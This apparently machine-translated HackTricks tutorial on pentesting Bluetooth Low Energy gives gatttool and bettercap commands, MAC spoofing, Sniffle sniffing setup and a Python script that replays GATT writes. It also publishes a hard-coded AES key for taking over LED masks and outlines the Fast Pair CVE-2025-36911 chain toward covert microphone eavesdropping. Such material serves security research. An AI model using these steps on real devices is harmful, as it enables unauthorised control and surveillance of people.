Pentesting BLE - Bluetooth Low Energy

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Uvod

Dostupan od Bluetooth 4.0 specifikacije, BLE koristi samo 40 kanala, pokrivajući opseg od 2400 do 2483.5 MHz. Za razliku od toga, tradicionalni Bluetooth koristi 79 kanala u istom opsegu.

BLE uređaji komuniciraju slanjem advertising packets (beacons); ovi paketi emituju postojanje BLE uređaja drugim uređajima u blizini. Ti beacons ponekad takođe šalju podatke.

Uređaj koji osluškuje, takođe nazvan centralni uređaj, može odgovoriti na advertising packet sa SCAN request poslatim posebno reklamnom uređaju. Odgovor na taj scan koristi istu strukturu kao advertising packet, sa dodatnim informacijama koje nisu stale u inicijalni advertising zahtev, kao što je puni naziv uređaja.

Preambula bajt sinhronizuje frekvenciju, dok je četvorobajtna access address identifikator veze, koji se koristi u scenarijima gde više uređaja pokušava da uspostavi veze na istim kanalima. Zatim, Protocol Data Unit (PDU) sadrži advertising data. Postoji nekoliko tipova PDU; najčešće korišćeni su ADV_NONCONN_IND i ADV_IND. Uređaji koriste ADV_NONCONN_IND tip PDU ako ne prihvataju veze, prenoseći podatke samo u advertising packet. Uređaji koriste ADV_IND ako dozvoljavaju veze i prestaju da šalju advertising pakete kada je veza uspostavljena.

GATT

Generički profil atributa (GATT) definiše kako uređaj treba da formatira i prenosi podatke. Kada analizirate attack surface BLE uređaja, često ćete se fokusirati na GATT (ili GATTs), jer je to način na koji se funkcionalnosti uređaja pokreću i kako se podaci čuvaju, grupišu i menjaju. GATT navodi karakteristike, deskriptore i servise uređaja u tabeli kao 16- ili 32-bitne vrednosti. A characteristic je vrednost podataka koja se šalje između centralnog uređaja i perifernog uređaja. Te karakteristike mogu imati deskriptore koji pružaju dodatne informacije o njima. Characteristics su često grupisane u services ako su povezane sa izvršavanjem određene akcije.

Enumeration

hciconfig #Check config, check if UP or DOWN
# If DOWN try:
sudo modprobe -c bluetooth
sudo hciconfig hci0 down && sudo hciconfig hci0 up

# Spoof MAC
spooftooph -i hci0 -a 11:22:33:44:55:66

GATTool

GATTool omogućava da se uspostavi veza sa drugim uređajem, da se navedu karakteristike tog uređaja, kao i čitanje i pisanje njegovih atributa.
GATTTool može pokrenuti interaktivni shell pomoću opcije -I:

GATTTool interaktivno korišćenje i primeri ```bash gatttool -i hci0 -I [ ][LE]> connect 24:62:AB:B1:A8:3E Attempting to connect to A4:CF:12:6C:B3:76 Connection successful [A4:CF:12:6C:B3:76][LE]> characteristics handle: 0x0002, char properties: 0x20, char value handle: 0x0003, uuid: 00002a05-0000-1000-8000-00805f9b34fb handle: 0x0015, char properties: 0x02, char value handle: 0x0016, uuid: 00002a00-0000-1000-8000-00805f9b34fb [...]

Write data

gatttool -i -b –char-write-req -n gatttool -b a4:cf:12:6c:b3:76 –char-write-req -a 0x002e -n $(echo -n “04dc54d9053b4307680a”|xxd -ps)

Read data

gatttool -i -b –char-read -a 0x16

Read connecting with an authenticated encrypted connection

gatttool –sec-level=high -b a4:cf:12:6c:b3:76 –char-read -a 0x002c

</details>

### Bettercap
```bash
# Start listening for beacons
sudo bettercap --eval "ble.recon on"
# Wait some time
>> ble.show # Show discovered devices
>> ble.enum <mac addr> # This will show the service, characteristics and properties supported

# Write data in a characteristic
>> ble.write <MAC ADDR> <UUID> <HEX DATA>
>> ble.write <mac address of device> ff06 68656c6c6f # Write "hello" in ff06

Snifovanje i aktivna kontrola neparovanih BLE uređaja

Mnoge jeftine BLE periferije ne primenjuju pairing/bonding. Bez bonding-a, Link Layer enkripcija nikada nije omogućena, pa je ATT/GATT saobraćaj u nešifrovanom obliku. Off-path sniffer može pratiti konekciju, dekodirati GATT operacije da bi otkrio characteristic handles and values, i bilo koji obližnji host tada može da se poveže i replay-uje te writes kako bi kontrolisao uređaj.

Snifovanje sa Sniffle (CC26x2/CC1352)

Hardver: Sonoff Zigbee 3.0 USB Dongle Plus (CC26x2/CC1352) pre-flasovan sa NCC Group’s Sniffle firmware.

Instalirajte Sniffle i njegov Wireshark extcap na Linuxu:

Instalirajte Sniffle extcap (Linux) ```bash if [ ! -d /opt/sniffle/Sniffle-1.10.0/python_cli ]; then echo "[+] - Sniffle not installed! Installing at 1.10.0..." sudo mkdir -p /opt/sniffle sudo chown -R $USER:$USER /opt/sniffle pushd /opt/sniffle wget https://github.com/nccgroup/Sniffle/archive/refs/tags/v1.10.0.tar.gz tar xvf v1.10.0.tar.gz # Install Wireshark extcap for user and root only mkdir -p $HOME/.local/lib/wireshark/extcap ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py $HOME/.local/lib/wireshark/extcap sudo mkdir -p /root/.local/lib/wireshark/extcap sudo ln -s /opt/sniffle/Sniffle-1.10.0/python_cli/sniffle_extcap.py /root/.local/lib/wireshark/extcap popd else echo "[+] - Sniffle already installed at 1.10.0" fi ```

Flash Sonoff with Sniffle firmware (proverite da se vaš serijski uređaj poklapa, npr. /dev/ttyUSB0):

pushd /opt/sniffle/
wget https://github.com/nccgroup/Sniffle/releases/download/v1.10.0/sniffle_cc1352p1_cc2652p1_1M.hex
git clone https://github.com/sultanqasim/cc2538-bsl.git
cd cc2538-bsl
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install pyserial intelhex
python3 cc2538-bsl.py -p /dev/ttyUSB0 --bootloader-sonoff-usb -ewv ../sniffle_cc1352p1_cc2652p1_1M.hex
deactivate
popd

Snimite u Wireshark pomoću Sniffle extcap i brzo se prebacite (pivot) na state-changing writes filtriranjem:

_ws.col.info contains "Sent Write Command"

Ово истиче ATT Write Commands које шаље клијент; handle и value често директно мапирају на акције уређаја (нпр. write 0x01 на buzzer/alert characteristic, 0x00 за заустављање).

Brzi примери за Sniffle CLI:

python3 scanner.py --output scan.pcap
# Only devices with very strong signal
python3 scanner.py --rssi -40
# Filter advertisements containing a string
python3 sniffer.py --string "banana" --output sniff.pcap

Alternativni sniffer: Nordic’s nRF Sniffer for BLE + Wireshark plugin takođe radi. Na malim/jeftinim Nordic donglovima obično prepisujete USB bootloader da biste učitali sniffer firmware, tako da ili držite posvećeni sniffer dongle ili vam treba J-Link/JTAG da kasnije vratite bootloader.

Aktivna kontrola preko GATT

Kada identifikujete writable characteristic handle i vrednost iz sniffed saobraćaja, povežite se kao bilo koji central i pošaljite istu write operaciju:

  • Sa Nordic nRF Connect for Desktop (BLE app):

  • Izaberite nRF52/nRF52840 dongle, skenirajte i povežite se sa ciljem.

  • Pregledajte GATT bazu, pronađite ciljanu karakteristiku (često ima prijateljsko ime, npr. Alert Level).

  • Izvršite Write sa sniffed bajtovima (npr. 01 za aktiviranje, 00 za zaustavljanje).

  • Automatizujte na Windows-u koristeći Nordic dongle i Python + blatann:

Python blatann primer za write (Windows + Nordic dongle) ```python import time import blatann

CONFIG

COM_PORT = “COM29” # Replace with your COM port TARGET_MAC = “5B:B1:7F:47:A7:00” # Replace with your target MAC

target_address = blatann.peer.PeerAddress.from_string(TARGET_MAC + “,p”)

CONNECT

ble_device = blatann.BleDevice(COM_PORT) ble_device.configure() ble_device.open() print(f“[-] Connecting to {TARGET_MAC}…“) peer = ble_device.connect(target_address).wait() if not peer: print(”[!] Connection failed.“) ble_device.close() raise SystemExit(1)

print(“Connected. Discovering services…”) peer.discover_services().wait(5, exception_on_timeout=False)

Example: write 0x01/0x00 to a known handle

for service in peer.database.services: for ch in service.characteristics: if ch.handle == 0x000b: # Replace with your handle print(“[!] Beeping.”) ch.write(b“\x01“) time.sleep(2) print(“[+] And relax.”) ch.write(b“\x00“)

print(“[-] Disconnecting…”) peer.disconnect() peer.wait_for_disconnect() ble_device.close()

</details>

### Studija slučaja: preuzimanje kontrole nad BLE LED maskama (Shining Mask family)

Jeftine, white‑labeled BLE LED maske kojima upravlja aplikacija “Shining Mask” prihvataju write kontrolu od bilo kog obližnjeg central bez pairing/bonding. Aplikacija koristi GATT na command characteristic i data characteristic; komande su AES‑ECB enkriptovane statičnim ključem hard‑kodiranim u aplikaciji, dok su bulk image data nešifrovani.

Ključni UUID-ovi na ovim uređajima:
- Command write characteristic: d44bc439-abfd-45a2-b575-925416129600
- Notify characteristic: d44bc439-abfd-45a2-b575-925416129601
- Image data characteristic: d44bc439-abfd-45a2-b575-92541612960a

Neautentifikovani GATT writes
- Nije potrebna pairing/bonding. Bilo koji host može da se poveže i upiše u command UUID da promeni brightness, izabere slike, pokrene animacije, itd.
- Uobičajene operacije koje su primećene: LIGHT (brightness), IMAG (select index), DELE (delete indices), SPEED, ANIM, PLAY, CHEC (query count), DATS (begin upload).

Static-key AES command framing
- Frame = 1‑byte length, ASCII op (e.g., b"LIGHT"), args, pad to 16, AES‑ECB encrypt with static key from the app.
- Poznat statični ključ (hex): 32672f7974ad43451d9c6c894a0e8764

Python helper to encrypt and send a command (example: set max brightness):
```python
from Crypto.Cipher import AES
from binascii import unhexlify

KEY = unhexlify('32672f7974ad43451d9c6c894a0e8764')

def enc_cmd(op, args=b''):
body = bytes([len(op) + len(args)]) + op.encode() + args
body += b'\x00' * ((16 - (len(body) % 16)) % 16)
return AES.new(KEY, AES.MODE_ECB).encrypt(body)

packet = enc_cmd('LIGHT', b'\xff')
# Write 'packet' to d44bc439-abfd-45a2-b575-925416129600

Tok slanja slike

  • Nakon encrypted DATS handshake-a, raw chunks se zapisuju unencrypted u data characteristic …960a.
  • Format paketa: [len][seq][payload]. Empirično, ~100 bytes payload po paketu radi pouzdano.
Minimalni pseudo-kod za slanje slike ```python # Start upload (encrypted): two bytes size, two bytes index, one toggle byte img_index = b'\x01\x00' # index 1 img_size = (len(img_bytes)).to_bytes(2, 'big') start = enc_cmd('DATS', img_size + img_index + b'\x01') write_cmd_char(start) # expect DATSOK on notify char

Stream raw chunks (unencrypted) to …960a: [len][seq][payload]

seq = 0 CHUNK = 98 # data bytes per packet (≈100 total incl. len+seq) for off in range(0, len(img_bytes), CHUNK): chunk = img_bytes[off:off+CHUNK] pkt = bytes([len(chunk)+1, seq & 0xff]) + chunk write_data_char(pkt) seq += 1

Optionally signal completion if firmware expects it (e.g., DATCP)

</details>

### Fast Pair (0xFE2C) Key-Based Pairing signature bypass (WhisperPair/CVE-2025-36911)

- **Discovery:** Skenirajte BLE reklame za **service UUID 0xFE2C** (Google Fast Pair). Uređaji u režimu uparivanja obično izlažu indikator uparivanja; čak i van režima uparivanja Fast Pair servis može odgovoriti na GATT.
- **Non-invasive probe (signature enforcement check):**
1. Povežite se preko GATT-a sa Fast Pair servisom i **read the Model ID**.
2. **Write a Key-Based Pairing (KBP) value without a signature**. Ako periferija prihvati nepotpisani KBP upis, podložna je signature-bypass (WhisperPair/CVE-2025-36911). Odbijanje znači da je zakrpljeno; neuspeh može biti neodređujući ako je već uparen.
- **BLE → BR/EDR pivot:** Pošaljite **KBP Request** i parsirajte **šifrovani response** da biste povratili ciljnu **BR/EDR address**. Koristite classic bonding poziv (npr. Android **`createBond(<BR/EDR address>)`**) da dovršite neautorizovano uparivanje. Gde je podržano, upisivanje **Account Key** održava asocijaciju.
- **Post-bond microphone abuse:** Nakon uparivanja otvorite **HFP** i pokrenite **SCO audio** da dobijete live mikrofon stream za preslušavanje/snimanje (npr. čuvanje M4A). Ovaj lanac pretvara prihvatanje nepotpisanog KBP-a u daljinsko hvatanje audio signala bez pristanka korisnika.
- **Hunt/detect:** Pratite Fast Pair GATT saobraćaj koji je odmah praćen classic **bonding attempts to the BR/EDR address returned in KBP**, i KBP upise koji nemaju potpis. Primena validacije potpisa na KBP i traženje potvrde uparivanja od korisnika prekida lanac.

## Operational notes

- Poželjno je koristiti Sonoff+Sniffle na Linuxu za robustan channel hopping i praćenje konekcija. Držite rezervni Nordic sniffer kao backup.
- Bez uparivanja/bondinga, bilo koji napadač u blizini može posmatrati upise i replay/kreirati sopstvene za neautentifikovana writable characteristics.

## References

- [WPair — CVE-2025-36911 (WhisperPair) vulnerability scanner & research tool](https://github.com/zalexdev/wpair-app)
- [Start hacking Bluetooth Low Energy today! (part 2) – Pentest Partners](https://www.pentestpartners.com/security-blog/start-hacking-bluetooth-low-energy-today-part-2/)
- [Sniffle – A sniffer for Bluetooth 5 and 4.x LE](https://github.com/nccgroup/Sniffle)
- [Firmware installation for Sonoff USB Dongle (Sniffle README)](https://github.com/nccgroup/Sniffle?tab=readme-ov-file#firmware-installation-sonoff-usb-dongle)
- [Sonoff Zigbee 3.0 USB Dongle Plus (ZBDongle-P)](https://sonoff.tech/en-uk/products/sonoff-zigbee-3-0-usb-dongle-plus-zbdongle-p)
- [Nordic nRF Sniffer for Bluetooth LE](https://www.nordicsemi.com/Products/Development-tools/nRF-Sniffer-for-Bluetooth-LE)
- [nRF Connect for Desktop](https://www.nordicsemi.com/Products/Development-tools/nRF-Connect-for-desktop)
- [blatann – Python BLE library for Nordic devices](https://blatann.readthedocs.io/en/latest/)
- [Invasion of the Face Changers: Halloween Hijinks with Bluetooth LED Masks (Bishop Fox)](https://bishopfox.com/blog/invasion-of-the-face-changers-halloween-hijinks-with-bluetooth-led-masks)
- [Shining Mask BLE protocol notes (BrickCraftDream)](https://github.com/BrickCraftDream/Shining-Mask-stuff/blob/main/ble-protocol.md)
- [Android Bluetooth HCI snoop logging](https://source.android.com/docs/core/connect/bluetooth/verifying_debugging)
- [Adafruit Feather nRF52840 Express](https://www.adafruit.com/product/4062)

> [!TIP]
> Učite i vežbajte AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Učite i vežbajte GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Učite i vežbajte Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Podržite HackTricks</summary>
>
> - Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
> - **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
>
> </details>